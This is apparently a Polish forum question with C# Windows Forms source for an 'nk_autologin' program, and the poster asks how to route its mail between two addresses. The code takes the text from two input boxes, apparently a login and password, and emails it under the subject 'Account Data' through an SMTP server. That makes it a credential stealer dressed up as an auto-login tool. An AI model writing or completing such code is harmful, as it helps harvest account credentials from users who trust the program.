Witam posiadam taki kod
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.Net.Mail;
namespace nk_autologin
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
}
private void button2_Click(object sender, EventArgs e)
{
SmtpClient client = new SmtpClient("smtp.wp.pl", 587);
client.Credentials = new NetworkCredential("[email protected]", "***");
MailMessage msg = new MailMessage();
msg.From = new MailAddress("[email protected]");
msg.Subject = "Dane Konta";
msg.Body = textBox1.Text + " " + textBox2.Text;
client.Send(msg);
}
}
}
i teraz jak zrobić aby z e-mail np [email protected] wysyłał na [email protected]